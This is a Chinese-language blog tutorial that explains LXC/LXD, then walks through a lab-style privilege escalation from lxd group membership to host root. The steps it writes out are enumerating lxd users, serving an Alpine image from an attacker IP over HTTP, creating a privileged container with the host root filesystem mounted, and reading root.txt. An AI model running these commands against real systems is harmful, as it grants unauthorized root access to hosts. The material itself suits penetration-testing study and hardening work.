linux提权大全3(lxc容器提权)

什么是lxc(Linux Containers)和lxd(Linux Container Daemon)
wiki:
Linux 容器( LXC ) 是一种操作系统级虚拟化方法,用于使用单个 Linux 内核在控制主机上 运行多个隔离的Linux系统(容器)。
Linux内核提供了cgroups功能,允许对资源(CPU、内存、块 I/O、网络等)进行限制和优先排序,而无需启动任何虚拟机,还提供了命名空间隔离功能,允许完全隔离应用程序对操作环境的视图,包括进程树、网络、用户 ID和已挂载的 文件系统。
LXC 结合了内核的 cgroups 和对隔离命名空间的支持,为应用程序提供隔离的环境。
注:cgroups(控制组 (control groups ) 的缩写)是Linux 内核的一个功能,可以限制、核算和隔离一组进程的资源使用情况(CPU、内存、磁盘 I/O 等)
​
chatgpt:
LXC (Linux Containers) 是一种用于 Linux 的轻量级虚拟化技术,利用 Linux 内核的 cgroups 和 namespaces 特性来实现进程级隔离。它让你可以运行一个与主机系统隔离的操作系统环境,类似于虚拟机,但比传统虚拟化技术更加轻量,因为容器共享主机的 Linux 内核。
LXC 实质上提供了一个封闭的用户空间进程环境,这意味着每个容器可以拥有自己的文件系统、进程、网络等,而不需要独立的操作系统内核。
所有的 LXC 容器都共享主机的 Linux 内核,但它们可以在用户空间运行与主机系统不同的 Linux 发行版。
​
LXD 是一种用于 Linux 操作系统上的容器管理系统,它主要用于管理 Linux 容器(LXC)。LXD 是 LXC 的一个扩展,它提供了更高级的功能。LXD 组(通常为 lxd 组)允许用户在无需 root 权限的情况下,管理 LXD 容器。
什么是alpine
Alpine Linux 是一个轻量级的 Linux 发行版。
信息收集
cat /etc/passwd | awk -F ':' '{print $1}' | xargs -L1 id | grep -i "lx"
显示所有用户所属组,如果用户所属于lxd组,就可以利用此用户进行容器提权
​
lxd的蛛丝马迹
cat /etc/passwd | grep "lxd":用于查看是否有关于lxd用户或组的信息
ps -ef | grep -i "lxd\|lxc":用于检查是否有lxd、lxc相关的运行中进程
这只是寻找服务器运行lxd的相关信息,并不是我们提权的必要条件,必要条件就是寻找一个lxd组的用户,利用这个用户我们可以构造配置错误的容器
alpine下载
攻击机器下载,下载后解压
git clone https://github.com/saghul/lxd-alpine-builder
unzip lxd-alpine-builder-master.zip
​
得到文件:alpine-v3.13-x86_64-20210218_0139.tar.gz
alpine上传
攻击机:python3 -m http.server
python
靶机:
wget http://192.168.227.47:8000/alpine-v3.13-x86_64-20210218_0139.tar.gz
alpine导入
lxc image import alpine-v3.16-x86_64-20221112_0508.tar.gz --alias alpine  # 用于将本地的镜像文件导入到 LXD 的镜像库中,并设置别名为alpine
lxc image list  # 列出当前 LXD 中所有可用的镜像
lxd init        # 初始化 LXD。这个命令会启动 LXD 的配置向导,帮助您设置 LXD 的基础配置,比如存储池、网络、镜像存储位置等,接下来进入init交互界面全都选默认即可,选完后执行下一个命令
lxc init alpine alpinect -c security.privileged=true # 根据alpine镜像创建alpinect容器,并设置容器处于特权模式(进程将会以root权限进行)
lxc config device add alpinect pwndisk disk source=/ path=/mnt/root recursive=true # 向容器添加设备,向我们新建立的alpinect容器添加以pwndisk为名的磁盘类型的设备,并将文件系统的根目录/下的所有目录挂载到磁盘设备的/mnt/root路径
lxc start alpinect  # 启动这个容器
lxc exec alpinect /bin/sh   # 在容器中执行命令开启一个会话
效果

整个linux文件系统挂载在容器/mnt/root文件夹下,在容器中从这里可以访问物理机的所有文件
​
cat /mnt/root/root/root.txt
0d2c6222bfdd3701e0fa12a9a9dc9c8c
访问成功
  • 16
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值